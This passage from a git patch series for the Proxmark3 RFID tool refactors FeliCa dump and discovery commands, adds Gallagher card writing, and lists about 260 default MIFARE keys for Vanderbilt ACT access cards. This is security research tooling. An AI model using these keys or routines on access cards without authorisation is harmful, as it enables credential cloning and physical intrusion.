dump_ctx->retry_count, 0, true) != PM3_SUCCESS) { + break; + } + + if (rd_noCry_resp.status_flags.status_flag1[0] != 0x00 || rd_noCry_resp.status_flags.status_flag2[0] != 0x00) { + break; + } + + print_read_without_encryption_response(&rd_noCry_resp, block); + } + + return PM3_SUCCESS; +} + /** * Checks if last known card can be added to data and adds it if possible. * @param custom_IDm @@ -1274,7 +2280,7 @@ static int send_write_without_encryption(uint8_t flags, uint16_t datalen, uint8_ if (send_felica_payload_with_retries(flags, datalen, data, verbose, -1, FELICA_DEFAULT_TIMEOUT_MS, 0, - true, + 0, true, &resp, "write block") != PM3_SUCCESS) { PrintAndLogEx(ERR, "no response from card"); return PM3_ERFTRANS; @@ -2345,135 +3351,58 @@ static int CmdHFFelicaDump(const char *Cmd) { // bool no_auth = arg_get_lit(ctx, 1); - uint8_t data_service_dump[PM3_CMD_DATA_SIZE] = {0}; - data_service_dump[0] = 0x0C; - data_service_dump[1] = 0x0A; - uint16_t service_datalen = 12; - if (!check_last_idm(data_service_dump, service_datalen)) - return PM3_EINVARG; - - uint8_t data_block_dump[PM3_CMD_DATA_SIZE] = {0}; - data_block_dump[0] = 0x10; // Static length - data_block_dump[1] = 0x06; // unauth read block command - data_block_dump[10] = 0x01; // read one service at a time - data_block_dump[13] = 0x01; // read one block at a time - data_block_dump[14] = 0x80; // block list element first byte - uint16_t block_datalen = 16; // Length (1), Command ID (1), IDm (8), Number of Service (1), Service Code List(2), Number of Block(1), Block List(3) - if (!check_last_idm(data_block_dump, block_datalen)) { + uint8_t probe_data[12] = {0}; + probe_data[0] = sizeof(probe_data); + probe_data[1] = FELICA_SRCHSYSCODE_REQ; + if (!check_last_idm(probe_data, (uint16_t)sizeof(probe_data))) { return PM3_EINVARG; } - // Set up field once and keep it up for the entire dump sequence. - // First command connects (with NO_SELECT since we already have IDm). + uint8_t idm[8] = {0}; + memcpy(idm, probe_data + 2, sizeof(idm)); + + PrintAndLogEx(INFO, "Press " _GREEN_("") " to abort discovery or dumping"); + uint8_t flags = FELICA_CONNECT | FELICA_NO_SELECT | FELICA_NO_DISCONNECT | FELICA_APPEND_CRC | FELICA_RAW; - int ret = PM3_SUCCESS; - uint16_t cursor = 0x0000; - - felica_search_service_code_response_t resp; - - while (true) { - - data_service_dump[10] = cursor & 0xFF; - data_service_dump[11] = cursor >> 8; - - if (send_search_service_code(flags, service_datalen, data_service_dump, 0, - FELICA_DEFAULT_TIMEOUT_MS, retry_count, - &resp) != PM3_SUCCESS) { - PrintAndLogEx(FAILED, "No response at cursor 0x%04X", cursor); - ret = PM3_ERFTRANS; - break; - } - - // After first command, drop CONNECT flag — field is already up - flags = FELICA_NO_DISCONNECT | FELICA_APPEND_CRC | FELICA_RAW; - uint8_t len = resp.frame_response.length[0]; - uint16_t node_code = resp.payload[0] | (resp.payload[1] << 8); - if (node_code == 0xFFFF) break; - char attrib_str[64] = ""; - switch (len) { - case 0x0E: - break; - case 0x0C: { - uint8_t attribute = node_code & 0x3F; - bool is_public = (attribute & FELICA_SERVICE_ATTRIBUTE_UNAUTH_READ) != 0; - strcat(attrib_str, is_public ? "| Public " : "| Private "); - - bool is_purse = (attribute & FELICA_SERVICE_ATTRIBUTE_PURSE) != 0; - // Subfield bitwise attributes are applicable depending on is PURSE or not - - if (is_purse) { - strcat(attrib_str, "| Purse |"); - switch ((attribute & FELICA_SERVICE_ATTRIBUTE_PURSE_SUBFIELD) >> 1) { - case 0: - strcat(attrib_str, " Direct |"); - break; - case 1: - strcat(attrib_str, " Cashback |"); - break; - case 2: - strcat(attrib_str, " Decrement |"); - break; - case 3: - strcat(attrib_str, " Read Only |"); - break; - default: - strcat(attrib_str, " Unknown |"); - break; - } - } else { - bool is_random = (attribute & FELICA_SERVICE_ATTRIBUTE_RANDOM_ACCESS) != 0; - strcat(attrib_str, is_random ? "| Random |" : "| Cyclic |"); - bool is_readonly = (attribute & FELICA_SERVICE_ATTRIBUTE_READ_ONLY) != 0; - strcat(attrib_str, is_readonly ? " Read Only |" : " Read/Write |"); - } - - PrintAndLogEx(INFO, "Service %04X %s", node_code, attrib_str); - - if (is_public) { - // dump blocks here - PrintAndLogEx(INFO, " block | data "); - PrintAndLogEx(INFO, "-------+----------------------------------------"); - - data_block_dump[11] = resp.payload[0]; // convert service code to little endian - data_block_dump[12] = resp.payload[1]; - - uint16_t last_blockno = 0xFF; - for (uint16_t i = 0x00; i < last_blockno; i++) { - data_block_dump[15] = i; - felica_read_without_encryption_response_t rd_noCry_resp; - if ((send_read_without_encryption_ex(flags, block_datalen, data_block_dump, 0, - &rd_noCry_resp, - FELICA_DEFAULT_TIMEOUT_MS, retry_count) == PM3_SUCCESS)) { - if (rd_noCry_resp.status_flags.status_flag1[0] == 0 && rd_noCry_resp.status_flags.status_flag2[0] == 0) { - print_read_without_encryption_response(&rd_noCry_resp, i); - } else { - break; // no more blocks to read - } - } else { - break; - } - } - } - break; - } - default: - PrintAndLogEx(FAILED, "Unexpected length 0x%02X @ 0x%04X", - len, cursor); - ret = PM3_ERFTRANS; - break; - } - if (ret != PM3_SUCCESS) break; - cursor++; - if (cursor == 0) break; - } + felica_dump_context_t dump_ctx; + memset(&dump_ctx, 0, sizeof(dump_ctx)); + dump_ctx.flags = &flags; + dump_ctx.retry_count = retry_count; + dump_ctx.block_datalen = 16; + dump_ctx.block_frame[0] = dump_ctx.block_datalen; + dump_ctx.block_frame[1] = FELICA_RDBLK_REQ; + memcpy(dump_ctx.block_frame + 2, idm, sizeof(idm)); + dump_ctx.block_frame[10] = 0x01; + dump_ctx.block_frame[13] = 0x01; + dump_ctx.block_frame[14] = 0x80; + uint32_t discovered_nodes = 0; + int ret = felica_discover_nodes(idm, &flags, retry_count, + FELICA_NODE_DISCOVERY_NONE, + felica_dump_discovery_visitor, &dump_ctx, + NULL, &discovered_nodes); DropField(); - if (ret == PM3_SUCCESS) - PrintAndLogEx(SUCCESS, "Unauth service dump complete."); + if (ret == PM3_EOPABORTED) { + PrintAndLogEx(WARNING, "Unauth service dump aborted by user. Discovered %" PRIu32 " node(s), visited %" PRIu32 " service(s), dumped %" PRIu32 " public service(s).", + discovered_nodes, dump_ctx.service_count, dump_ctx.public_service_count); + return ret; + } - return ret; + if (ret != PM3_SUCCESS) { + PrintAndLogEx(FAILED, "Unable to discover nodes using RequestCodeList/SearchServiceCode/RequestService/ReadWithoutEncryption."); + return ret; + } + + if (dump_ctx.public_service_count == 0) { + PrintAndLogEx(WARNING, "No authentication-not-required services discovered."); + } + + PrintAndLogEx(SUCCESS, "Unauth service dump complete. Discovered %" PRIu32 " node(s), visited %" PRIu32 " service(s), dumped %" PRIu32 " public service(s).", + discovered_nodes, dump_ctx.service_count, dump_ctx.public_service_count); + + return PM3_SUCCESS; } @@ -2589,11 +3518,99 @@ static int CmdHFFelicaRequestService(const char *Cmd) { * @param Cmd input data of the user. * @return client result code. */ +static int CmdHFFelicaDiscoverNodes(const char *Cmd) { + /* -- CLI boilerplate (method-aware discovery) ------------------- */ + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf felica discnodes", + "Dump all existing Area Code and Service Code.\n" + "Method: auto | request_code_list | search_service_code | request_service | read_without_encryption", + "hf felica discnodes\n" + "hf felica discnodes --retry 5\n" + "hf felica discnodes --method request_service"); + void *argtable[] = { + arg_param_begin, + arg_u64_0("r", "retry", "", "number of retries"), + arg_str0("m", "method", "", "node discovery method"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + uint32_t retry_count = arg_get_u32_def(ctx, 1, FELICA_DISCOVER_DEFAULT_RETRY_COUNT); + char method_str[64] = {0}; + int method_len = 0; + int method_str_status = CLIParamStrToBuf(arg_get_str(ctx, 2), (uint8_t *)method_str, sizeof(method_str) - 1, &method_len); + felica_node_discovery_method_t selected_method = FELICA_NODE_DISCOVERY_NONE; + int method_parse_status = PM3_EINVARG; + if (method_str_status == PM3_SUCCESS) { + method_str[method_len] = '\0'; + method_parse_status = felica_parse_node_discovery_method(method_str, &selected_method); + } + CLIParserFree(ctx); + if (method_str_status != PM3_SUCCESS || method_parse_status != PM3_SUCCESS) { + return method_parse_status; + } + + uint8_t probe_data[12] = {0}; + probe_data[0] = sizeof(probe_data); + probe_data[1] = FELICA_SRCHSYSCODE_REQ; + if (!check_last_idm(probe_data, (uint16_t)sizeof(probe_data))) { + return PM3_EINVARG; + } + + uint8_t idm[8] = {0}; + memcpy(idm, probe_data + 2, sizeof(idm)); + + PrintAndLogEx(HINT, "Area and service codes are printed in network order."); + PrintAndLogEx(INFO, "Press " _GREEN_("") " to abort discovery"); + + uint8_t flags = FELICA_CONNECT | FELICA_NO_SELECT | FELICA_NO_DISCONNECT | FELICA_APPEND_CRC | FELICA_RAW; + felica_scsvcode_context_t scsv_ctx; + memset(&scsv_ctx, 0, sizeof(scsv_ctx)); + scsv_ctx.area_end_stack[0] = 0xFFFF; + + uint32_t discovered_nodes = 0; + felica_node_discovery_method_t used_method = FELICA_NODE_DISCOVERY_NONE; + uint64_t discovery_started = msclock(); + int ret = felica_discover_nodes(idm, &flags, retry_count, + selected_method, + felica_scsvcode_discovery_visitor, &scsv_ctx, + &used_method, &discovered_nodes); + uint64_t discovery_duration_ms = msclock() - discovery_started; + + DropField(); + + if (ret == PM3_EOPABORTED) { + felica_scsvcode_print_footer(&scsv_ctx); + PrintAndLogEx(WARNING, "Node discovery aborted by user after %" PRIu64 " ms. Discovered %" PRIu32 " node(s): %" PRIu32 " area(s), %" PRIu32 " service(s).", + discovery_duration_ms, discovered_nodes, scsv_ctx.area_count, scsv_ctx.service_count); + return ret; + } + + if (ret != PM3_SUCCESS) { + if (selected_method != FELICA_NODE_DISCOVERY_NONE) { + PrintAndLogEx(FAILED, "Node discovery failed with --method %s.", felica_node_discovery_method_cli_name(selected_method)); + } else { + PrintAndLogEx(FAILED, "Unable to discover nodes using RequestCodeList/SearchServiceCode/RequestService/ReadWithoutEncryption."); + } + return ret; + } + + felica_scsvcode_print_footer(&scsv_ctx); + PrintAndLogEx(INFO, "Node discovery duration: %" PRIu64 " ms", discovery_duration_ms); + + PrintAndLogEx(SUCCESS, "Service code and area dump complete. Discovered %" PRIu32 " node(s): %" PRIu32 " area(s), %" PRIu32 " service(s).", + discovered_nodes, scsv_ctx.area_count, scsv_ctx.service_count); + return PM3_SUCCESS; +} + +/** + * Command parser for scsvcode. + * @param Cmd input data of the user. + * @return client result code. + */ static int CmdHFFelicaDumpServiceArea(const char *Cmd) { - /* -- CLI boilerplate (unchanged) ------------------------------- */ CLIParserContext *ctx; CLIParserInit(&ctx, "hf felica scsvcode", - "Dump all existing Area Code and Service Code.\n", + "Dump all existing Area Code and Service Code.", "hf felica scsvcode\n" "hf felica scsvcode --retry 5"); void *argtable[] = { @@ -2605,114 +3622,48 @@ static int CmdHFFelicaDumpServiceArea(const char *Cmd) { uint32_t retry_count = arg_get_u32_def(ctx, 1, FELICA_DEFAULT_RETRY_COUNT); CLIParserFree(ctx); - /* -- build static part of Search-Service frame ---------------- */ - uint8_t data[PM3_CMD_DATA_SIZE] = {0}; - data[0] = 0x0C; /* LEN */ - data[1] = 0x0A; /* CMD = 0x0A */ - uint16_t datalen = 12; /* LEN + CMD + IDm + cursor */ - - if (!check_last_idm(data, datalen)) + uint8_t probe_data[12] = {0}; + probe_data[0] = sizeof(probe_data); + probe_data[1] = FELICA_SRCHSYSCODE_REQ; + if (!check_last_idm(probe_data, (uint16_t)sizeof(probe_data))) { return PM3_EINVARG; + } + + uint8_t idm[8] = {0}; + memcpy(idm, probe_data + 2, sizeof(idm)); PrintAndLogEx(HINT, "Area and service codes are printed in network order."); - PrintAndLogEx(INFO, "┌───────────────────────────────────────────────"); + PrintAndLogEx(INFO, "Press " _GREEN_("") " to abort discovery"); - // Set up field once and keep it up for the entire traversal. - // First command connects (with NO_SELECT since we already have IDm). uint8_t flags = FELICA_CONNECT | FELICA_NO_SELECT | FELICA_NO_DISCONNECT | FELICA_APPEND_CRC | FELICA_RAW; + felica_scsvcode_context_t scsv_ctx; + memset(&scsv_ctx, 0, sizeof(scsv_ctx)); + scsv_ctx.area_end_stack[0] = 0xFFFF; - int ret = PM3_SUCCESS; - - /* -- traversal state ------------------------------------------ */ - uint16_t cursor = 0x0000; - uint16_t area_end_stack[8] = {0xFFFF}; /* root "end" = 0xFFFF */ - int depth = 0; /* current stack depth */ - - felica_search_service_code_response_t resp; - - while (true) { - - /* insert cursor LE */ - data[10] = cursor & 0xFF; - data[11] = cursor >> 8; - - if (send_search_service_code(flags, datalen, data, 0, - FELICA_DEFAULT_TIMEOUT_MS, retry_count, - &resp) != PM3_SUCCESS) { - PrintAndLogEx(FAILED, "No response at cursor 0x%04X", cursor); - ret = PM3_ERFTRANS; - break; - } - - // After first command, drop CONNECT flag — field is already up - flags = FELICA_NO_DISCONNECT | FELICA_APPEND_CRC | FELICA_RAW; - - uint8_t len = resp.frame_response.length[0]; - uint16_t node_code = resp.payload[0] | (resp.payload[1] << 8); /* LE for traversal */ - uint16_t node_code_net = (resp.payload[0] << 8) | resp.payload[1]; /* BE for display */ - uint16_t node_number = node_code >> 6; /* upper 10 bits in host order */ - - if (node_code == 0xFFFF) break; /* end-marker */ - - /* pop finished areas */ - while (depth && node_code > area_end_stack[depth]) depth--; - - - /* ----- compose nice prefix ------------------------------------ */ - char prefix[64] = ""; - for (int i = 1; i < depth; i++) { - bool more_siblings = (cursor < area_end_stack[i]); - strcat(prefix, more_siblings ? "│ " : " "); - } - /* decide glyph for this line (areas always use └──) */ - const char *line_glyph = "├── "; - strcat(prefix, line_glyph); - - /* ----- print --------------------------------------------------- */ - if (len == 0x0E) { /* AREA node */ - uint16_t end_code = resp.payload[2] | (resp.payload[3] << 8); - uint16_t end_number = end_code >> 6; - PrintAndLogEx(INFO, "%sAREA_%02X%02X%02X%02X (%u-%u)", prefix, - resp.payload[0], resp.payload[1], resp.payload[2], resp.payload[3], - node_number, end_number); - - if (depth < 7) { - area_end_stack[++depth] = end_code; - } - } else if (len == 0x0C) { /* SERVICE */ - PrintAndLogEx(INFO, "%sSVC_%04X (%u)", prefix, node_code_net, node_number); - } else { - PrintAndLogEx(FAILED, "Unexpected length 0x%02X @ 0x%04X", - len, cursor); - ret = PM3_ERFTRANS; - break; - } - cursor++; - if (cursor == 0) break; /* overflow safety */ - } + uint32_t discovered_nodes = 0; + int ret = felica_discover_nodes(idm, &flags, retry_count, + FELICA_NODE_DISCOVERY_SEARCH_SERVICE_CODE, + felica_scsvcode_discovery_visitor, &scsv_ctx, + NULL, &discovered_nodes); DropField(); - /* draw closing bar └─┴─... based on final depth */ - char bar[128]; /* large enough for depth ≤ 7 */ - size_t pos = 0; + if (ret == PM3_EOPABORTED) { + felica_scsvcode_print_footer(&scsv_ctx); + PrintAndLogEx(WARNING, "Service code and area dump aborted by user. Discovered %" PRIu32 " node(s): %" PRIu32 " area(s), %" PRIu32 " service(s).", + discovered_nodes, scsv_ctx.area_count, scsv_ctx.service_count); + return ret; + } - /* leading corner */ - pos += snprintf(bar + pos, sizeof(bar) - pos, "└"); + if (ret != PM3_SUCCESS) { + PrintAndLogEx(FAILED, "Unable to discover nodes using SearchServiceCode."); + return ret; + } - /* one segment per level-1 */ - for (int i = 0; i < depth - 1 && pos < sizeof(bar); i++) - pos += snprintf(bar + pos, sizeof(bar) - pos, "───┴"); - - /* tail */ - snprintf(bar + pos, sizeof(bar) - pos, "───────────────────────"); - - PrintAndLogEx(INFO, "%s", bar); - - if (ret == PM3_SUCCESS) - PrintAndLogEx(SUCCESS, "Service code and area dump complete."); - - return ret; + felica_scsvcode_print_footer(&scsv_ctx); + PrintAndLogEx(SUCCESS, "Service code and area dump complete. Discovered %" PRIu32 " node(s): %" PRIu32 " area(s), %" PRIu32 " service(s).", + discovered_nodes, scsv_ctx.area_count, scsv_ctx.service_count); + return PM3_SUCCESS; } static int CmdHFFelicaSniff(const char *Cmd) { @@ -3832,6 +4783,7 @@ static command_t CommandTable[] = { {"wrbl", CmdHFFelicaWritePlain, IfPm3Felica, "write block data to an authentication-not-required Service."}, {"-----------", CmdHelp, AlwaysAvailable, "----------------------- " _CYAN_("FeliCa Standard") " -----------------------"}, {"dump", CmdHFFelicaDump, IfPm3Felica, "Wait for and try dumping FeliCa"}, + {"discnodes", CmdHFFelicaDiscoverNodes, IfPm3Felica, "discover Area Code and Service Code nodes."}, {"rqservice", CmdHFFelicaRequestService, IfPm3Felica, "verify the existence of Area and Service, and to acquire Key Version."}, {"rqresponse", CmdHFFelicaRequestResponse, IfPm3Felica, "verify the existence of a card and its Mode."}, {"scsvcode", CmdHFFelicaDumpServiceArea, IfPm3Felica, "acquire Area Code and Service Code."}, diff --git a/client/src/cmdhflist.c b/client/src/cmdhflist.c index 8a8599c8e..0b45fd81b 100644 --- a/client/src/cmdhflist.c +++ b/client/src/cmdhflist.c @@ -2037,6 +2037,12 @@ void annotateFelica(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { case FELICA_WRTSEC_ACK: snprintf(exp, size, "WRITE ACK"); break; + case FELICA_GET_NODE_LIST_REQ: + snprintf(exp, size, "REQUEST CODE LIST"); + break; + case FELICA_GET_NODE_LIST_ACK: + snprintf(exp, size, "REQUEST CODE LIST ACK"); + break; case FELICA_REQSRV2_REQ: snprintf(exp, size, "REQUEST SERVICE v2"); break; diff --git a/include/protocols.h b/include/protocols.h index 2b84fcd35..098c84041 100644 --- a/include/protocols.h +++ b/include/protocols.h @@ -849,6 +849,9 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define FELICA_WRTSEC_REQ 0x16 #define FELICA_WRTSEC_ACK 0x17 +#define FELICA_GET_NODE_LIST_REQ 0x1a +#define FELICA_GET_NODE_LIST_ACK 0x1b + #define FELICA_GET_CONTAINER_ISSUE_INFO_REQ 0x22 #define FELICA_GET_CONTAINER_ISSUE_INFO_ACK 0x23 From 54f067a21ab6d6dc8a4b7479d1978157c1c280df Mon Sep 17 00:00:00 2001 From: jof Lassoff Date: Mon, 9 Mar 2026 23:36:54 +0000 Subject: [PATCH 072/162] mfc: dic: Vanderbilt ACT --- client/dictionaries/mfc_default_keys.dic | 262 +++++++++++++++++++++++ 1 file changed, 262 insertions(+) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index dc526e43a..cf9010bac 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -3252,3 +3252,265 @@ E058DC0E2C34 # Yerevan Transport 26ABFC3C24FB # +# Vanderbilt Industries, ACT Line +# "ACTact" in ASCII -- appears to hold creds in Sector 1, Block 4 +414354616374 +4D61071B7254 +34016FAC127D +# "Acces"+N Keys, Blocks 0x00-0xFF +416363657300 +416363657301 +416363657302 +416363657303 +416363657304 +416363657305 +416363657306 +416363657307 +416363657308 +416363657309 +41636365730A +41636365730B +41636365730C +41636365730D +41636365730E +41636365730F +416363657310 +416363657311 +416363657312 +416363657313 +416363657314 +416363657315 +416363657316 +416363657317 +416363657318 +416363657319 +41636365731A +41636365731B +41636365731C +41636365731D +41636365731E +41636365731F +416363657320 +416363657321 +416363657322 +416363657323 +416363657324 +416363657325 +416363657326 +416363657327 +416363657328 +416363657329 +41636365732A +41636365732B +41636365732C +41636365732D +41636365732E +41636365732F +416363657330 +416363657331 +416363657332 +416363657333 +416363657334 +416363657335 +416363657336 +416363657337 +416363657338 +416363657339 +41636365733A +41636365733B +41636365733C +41636365733D +41636365733E +41636365733F +416363657340 +416363657341 +416363657342 +416363657343 +416363657344 +416363657345 +416363657346 +416363657347 +416363657348 +416363657349 +41636365734A +41636365734B +41636365734C +41636365734D +41636365734E +41636365734F +416363657350 +416363657351 +416363657352 +416363657353 +416363657354 +416363657355 +416363657356 +416363657357 +416363657358 +416363657359 +41636365735A +41636365735B +41636365735C +41636365735D +41636365735E +41636365735F +416363657360 +416363657361 +416363657362 +416363657363 +416363657364 +416363657365 +416363657366 +416363657367 +416363657368 +416363657369 +41636365736A +41636365736B +41636365736C +41636365736D +41636365736E +41636365736F +416363657370 +416363657371 +416363657372 +416363657373 +416363657374 +416363657375 +416363657376 +416363657377 +416363657378 +416363657379 +41636365737A +41636365737B +41636365737C +41636365737D +41636365737E +41636365737F +416363657380 +416363657381 +416363657382 +416363657383 +416363657384 +416363657385 +416363657386 +416363657387 +416363657388 +416363657389 +41636365738A +41636365738B +41636365738C +41636365738D +41636365738E +41636365738F +416363657390 +416363657391 +416363657392 +416363657393 +416363657394 +416363657395 +416363657396 +416363657397 +416363657398 +416363657399 +41636365739A +41636365739B +41636365739C +41636365739D +41636365739E +41636365739F +4163636573A0 +4163636573A1 +4163636573A2 +4163636573A3 +4163636573A4 +4163636573A5 +4163636573A6 +4163636573A7 +4163636573A8 +4163636573A9 +4163636573AA +4163636573AB +4163636573AC +4163636573AD +4163636573AE +4163636573AF +4163636573B0 +4163636573B1 +4163636573B2 +4163636573B3 +4163636573B4 +4163636573B5 +4163636573B6 +4163636573B7 +4163636573B8 +4163636573B9 +4163636573BA +4163636573BB +4163636573BC +4163636573BD +4163636573BE +4163636573BF +4163636573C0 +4163636573C1 +4163636573C2 +4163636573C3 +4163636573C4 +4163636573C5 +4163636573C6 +4163636573C7 +4163636573C8 +4163636573C9 +4163636573CA +4163636573CB +4163636573CC +4163636573CD +4163636573CE +4163636573CF +4163636573D0 +4163636573D1 +4163636573D2 +4163636573D3 +4163636573D4 +4163636573D5 +4163636573D6 +4163636573D7 +4163636573D8 +4163636573D9 +4163636573DA +4163636573DB +4163636573DC +4163636573DD +4163636573DE +4163636573DF +4163636573E0 +4163636573E1 +4163636573E2 +4163636573E3 +4163636573E4 +4163636573E5 +4163636573E6 +4163636573E7 +4163636573E8 +4163636573E9 +4163636573EA +4163636573EB +4163636573EC +4163636573ED +4163636573EE +4163636573EF +4163636573F0 +4163636573F1 +4163636573F2 +4163636573F3 +4163636573F4 +4163636573F5 +4163636573F6 +4163636573F7 +4163636573F8 +4163636573F9 +4163636573FA +4163636573FB +4163636573FC +4163636573FD +4163636573FE +4163636573FF From c07d68859716bff2d43edfd826daeead152f7b12 Mon Sep 17 00:00:00 2001 From: pingu2211 Date: Thu, 14 Nov 2024 12:59:18 +1100 Subject: [PATCH 073/162] Implement Gallagher MIFARE Classic card writing and update MAD sector functionality --- client/CMakeLists.txt | 1 + client/Makefile | 1 + client/experimental_lib/CMakeLists.txt | 1 + client/src/cmdhfgallagher.c | 547 ++++++++++++++++++++++--- client/src/cmdhfgallagher.h | 4 +- client/src/mifare/gallaghercore.c | 171 ++++++++ client/src/mifare/gallaghercore.h | 19 + client/src/mifare/gallaghertest.c | 196 +++++++++ client/src/mifare/gallaghertest.h | 27 ++ 9 files changed, 902 insertions(+), 65 deletions(-) create mode 100644 client/src/mifare/gallaghertest.c create mode 100644 client/src/mifare/gallaghertest.h diff --git a/client/CMakeLists.txt b/client/CMakeLists.txt index a81f64f0d..794c52646 100644 --- a/client/CMakeLists.txt +++ b/client/CMakeLists.txt @@ -359,6 +359,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/mifare/desfirecore.c ${PM3_ROOT}/client/src/mifare/desfiretest.c ${PM3_ROOT}/client/src/mifare/gallaghercore.c + ${PM3_ROOT}/client/src/mifare/gallaghertest.c ${PM3_ROOT}/client/src/uart/ringbuffer.c ${PM3_ROOT}/client/src/uart/uart_common.c ${PM3_ROOT}/client/src/uart/uart_posix.c diff --git a/client/Makefile b/client/Makefile index 2fe8669ac..e2e2499ef 100644 --- a/client/Makefile +++ b/client/Makefile @@ -795,6 +795,7 @@ SRCS = mifare/aiddesfire.c \ mifare/desfiresecurechan.c \ mifare/desfiretest.c \ mifare/gallaghercore.c \ + mifare/gallaghertest.c \ mifare/mad.c \ mifare/mfkey.c \ mifare/mifare4.c \ diff --git a/client/experimental_lib/CMakeLists.txt b/client/experimental_lib/CMakeLists.txt index fb36dffaa..e3f9b5c53 100644 --- a/client/experimental_lib/CMakeLists.txt +++ b/client/experimental_lib/CMakeLists.txt @@ -279,6 +279,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/mifare/desfirecore.c ${PM3_ROOT}/client/src/mifare/desfiretest.c ${PM3_ROOT}/client/src/mifare/gallaghercore.c + ${PM3_ROOT}/client/src/mifare/gallaghertest.c ${PM3_ROOT}/client/src/uart/ringbuffer.c ${PM3_ROOT}/client/src/uart/uart_common.c ${PM3_ROOT}/client/src/uart/uart_posix.c diff --git a/client/src/cmdhfgallagher.c b/client/src/cmdhfgallagher.c index 898cd45d9..4a7c23f29 100644 --- a/client/src/cmdhfgallagher.c +++ b/client/src/cmdhfgallagher.c @@ -20,20 +20,28 @@ #include "cmdhfgallagher.h" #include "generator.h" #include "mifare.h" +#include "mifare/mifare4.h" #include "mifare/desfirecore.h" +#include "mifare/mifarehost.h" #include "mifare/gallaghercore.h" +#include "mifare/gallaghertest.h" +#include "mifare/mad.h" +#include "crc.h" #include #include #include "common.h" #include "commonutil.h" #include "cmdparser.h" #include "cliparser.h" +#include "comms.h" #include "ui.h" static int CmdHelp(const char *cmd); // Application ID for the Gallagher Card Application Directory -static const uint32_t CAD_AID = 0x2F81F4; +static const uint32_t DESFIRE_CAD_AID = 0x2F81F4; +static const uint32_t CLASSIC_CAD_AID = 0x4811; +static const uint16_t CLASSIC_CRED_AID = 0x4812; // Default MIFARE site key (16 bytes) static const uint8_t DEFAULT_SITE_KEY[] = { @@ -53,8 +61,8 @@ static const uint8_t DEFAULT_SITE_KEY[] = { * @param key_output Buffer to copy the diversified key into (must be 16 bytes). * @return PM3_SUCCESS if successful, PM3_EINVARG if an argument is invalid. */ -int hfgal_diversify_key(uint8_t *site_key, uint8_t *uid, uint8_t uid_len, - uint8_t key_num, uint32_t aid, uint8_t *key_output) { +int hfgal_diversify_desfire_key(uint8_t *site_key, uint8_t *uid, uint8_t uid_len, + uint8_t key_num, uint32_t aid, uint8_t *key_output) { // Generate diversification input uint8_t kdf_input_len = 11; int res = mfdes_kdf_input_gallagher(uid, uid_len, key_num, aid, key_output, &kdf_input_len); @@ -62,7 +70,7 @@ int hfgal_diversify_key(uint8_t *site_key, uint8_t *uid, uint8_t uid_len, uint8_t key[sizeof(DEFAULT_SITE_KEY)] = {0}; if (site_key == NULL) { - PrintAndLogEx(INFO, "hfgal_diversify_key is using default site key"); + PrintAndLogEx(INFO, "hfgal_diversify_desfire_key is using default site key"); memcpy(key, DEFAULT_SITE_KEY, sizeof(key)); } else { memcpy(key, site_key, sizeof(key)); @@ -261,7 +269,7 @@ static uint32_t find_available_gallagher_aid(DesfireContext_t *ctx, bool verbose for (uint8_t aid_increment = 0x20; aid_increment < 0xFF; aid_increment++) { uint32_t aid = 0x0081F4 | (aid_increment << 16); - if (aid == CAD_AID) { + if (aid == DESFIRE_CAD_AID) { continue; } @@ -403,7 +411,7 @@ static int hfgal_create_creds_app(DesfireContext_t *ctx, uint8_t *site_key, uint for (int i = 2; i >= 0; i -= 2) { // Diversify key uint8_t buf[CRYPTO_AES128_KEY_SIZE] = {0}; - res = hfgal_diversify_key(site_key, ctx->uid, ctx->uidlen, i, aid, buf); + res = hfgal_diversify_desfire_key(site_key, ctx->uid, ctx->uidlen, i, aid, buf); PM3_RET_IF_ERR_WITH_MSG(res, "Failed diversifying key %d for AID %06X", i, aid); PrintAndLogEx(INFO, "Diversified key %d for AID %06X: " _GREEN_("%s"), @@ -491,10 +499,10 @@ static int hfgal_create_creds_file(DesfireContext_t *ctx, uint8_t *site_key, uin * @param dest_buf_len Size of dest_buf. Must be at least 108 bytes. * @param num_entries Will be set to the number of entries in the CAD. */ -static int hfgal_read_cad(DesfireContext_t *ctx, uint8_t *dest_buf, - uint8_t dest_buf_len, uint8_t *num_entries_out, bool verbose) { +static int hfgal_read_desfire_cad(DesfireContext_t *ctx, uint8_t *dest_buf, + uint8_t dest_buf_len, uint8_t *num_entries_out, bool verbose) { if (dest_buf_len < 3 * 36) { - PrintAndLogEx(ERR, "hfgal_read_cad destination buffer is incorrectly sized. Received len %d, must be at least %d", + PrintAndLogEx(ERR, "hfgal_read_desfire_cad destination buffer is incorrectly sized. Received len %d, must be at least %d", dest_buf_len, 3 * 36 ); @@ -502,15 +510,15 @@ static int hfgal_read_cad(DesfireContext_t *ctx, uint8_t *dest_buf, } // Get card AIDs from Card Application Directory (which contains 1 to 3 files) - int res = select_aid(ctx, CAD_AID, verbose); - PM3_RET_IF_ERR_WITH_MSG(res, "Failed selecting Card Application Directory, does AID %06X exist?", CAD_AID); + int res = select_aid(ctx, DESFIRE_CAD_AID, verbose); + PM3_RET_IF_ERR_WITH_MSG(res, "Failed selecting Card Application Directory, does AID %06X exist?", DESFIRE_CAD_AID); // Read up to 3 files with 6x 6-byte entries each for (uint8_t i = 0; i < 3; i++) { size_t read_len; res = DesfireReadFile(ctx, i, 0, 36, &dest_buf[i * 36], &read_len); if (res != PM3_SUCCESS && res != PM3_EAPDU_FAIL) { - PM3_RET_ERR(res, "Failed reading file %d in Card Application Directory (AID %06X)", i, CAD_AID); + PM3_RET_ERR(res, "Failed reading file %d in Card Application Directory (AID %06X)", i, DESFIRE_CAD_AID); } // end if the last entry is NULL @@ -553,8 +561,8 @@ static int hfgal_read_cad(DesfireContext_t *ctx, uint8_t *dest_buf, * @param key MIFARE site key, or custom CAD key. * @param should_diversify True if using a site_key, false if using a custom CAD key. */ -static int hfgal_create_cad(DesfireContext_t *ctx, uint8_t *key, - bool should_diversify, bool verbose) { +static int hfgal_create_desfire_cad(DesfireContext_t *ctx, uint8_t *key, + bool should_diversify, bool verbose) { // Check that card UID has been set if (ctx->uidlen == 0) { PM3_RET_ERR(PM3_EINVARG, 